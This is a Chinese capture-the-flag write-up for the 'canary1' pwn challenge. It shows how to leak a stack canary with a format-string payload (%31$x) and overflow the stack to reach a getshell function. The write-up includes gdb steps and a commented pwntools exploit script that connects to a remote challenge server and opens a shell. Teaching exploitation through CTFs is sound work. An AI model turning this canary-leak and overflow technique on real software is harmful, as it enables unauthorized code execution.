Leak Canary
Canary1 wp
什么是canary呢,就是在程序进行输入前会生成一个随机数(每一次执行程序这个数都不一样),格式为“0x…00”,在ida中是这样的
画圈的地方就是生成了canary值赋给v4,最后一行将v4和之前的值取异或,之后return将这个值返回。
题目逻辑很简单,就是两次输入输出,很明显格式化字符串漏洞。然后还有个函数叫getshell,这就是我们要执行的system函数,思路就清晰了,先用格式化字符串漏洞打印canary的值,然后栈溢出获取shell。
那么在栈上他们个什么结构呢。这里因为题目的问题,ida无法看栈,所以我们用gdb进行调试。(顺便讲讲gdb怎么用)
运行命令 gdb canary1
start 开始,
输入 n ,进行单步步过,可以看到在puts函数再按n后,成功执行了puts函数,打印出了HXD。
当运行到vuln漏洞函数的时候,我们输入s命令进入这个函数。可以看到箭头指的就是生成canary并赋给了寄存器eax
然后n,直到read函数
再n,我们就要进行输入了,这里我们输入%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p
回车,这是我们看看栈,输入指令stack 50,查看50行。这里缩放一下
说一下格式化字符串的漏洞,输入 “%数字$x” 就可以直接打印出距离栈顶多少个地址处所存的值并且以16进制格式输出字符串(无0x),也就是只要知道图中canary距离栈顶多少个地址(我们叫偏移)即可将它输出,这里pwndbg有个很方便的功能,可以直接知道距离栈顶多少地址,就是选下图这个“1f”即为偏移值
将1f转为十进制是31,所以我们的格式化字符串漏洞构造即为"%31 $x"(中间无空格)
这样就可以打印出canary的值。
接下来我们算如何将它溢出。下图中。可以看到我们输入的内容开始保存的地址在这
canary地址在这↓,而且在canary和返回地址中间还有三个地址
所以我们直接用cyclic构造(0x19c-0x138)个垃圾值填充输入口到canary之前的地址,再加上canary,再加上cyclic(0xc)也就是3个地址大小为12字节(这里写得时候我大意了,没有看,以为12在16进制中写为0x12,后来才反应过来是0xc)的垃圾值(32位程序所以一个地址是4字节),最后加上getshell函数的地址,就是我们的栈溢出的payload了,分析完毕,下面写脚本。(为了新手学习,我脚本都会加上注释)。
from pwn import *#引入库函数
context.log_level="debug"#加入实时调试显示
ms = remote("182.92.149.223",10000)#链接端口
elf = ELF("canary1")读取本地文件
binsh_addr = elf.symbols["getshell"]#寻找getshell函数的地址赋给binsh_addr变量
ms.sendlineafter("Hey!HXD!\n","%31$x")在接受到"Hey!HXD!\n"后,发送%31$x
canary = int(ms.recv(8),16)#接受canary:接受8位字符并当作16进制数解析为整型
log.info(canary)#将canary的值写进文本并输出,用于调试中查看接收是否出错
payload = flat([cyclic(0x19c-0x138),p32(canary),cyclic(0xc),p32(binsh_addr)])
#构造payload,flat用于链接各个部分(也可用“+”直接链接,此处用flat纯属装杯),cyclic用于构造垃圾字符
ms.sendline(payload)#发送payload
ms.interactive()#进入交互模式
在命令框运行此脚本,此处的红色的dubug就是脚本开头那句context.log_level=“debug”
的作用
输入ls命令,cat flag.txt,拿到flag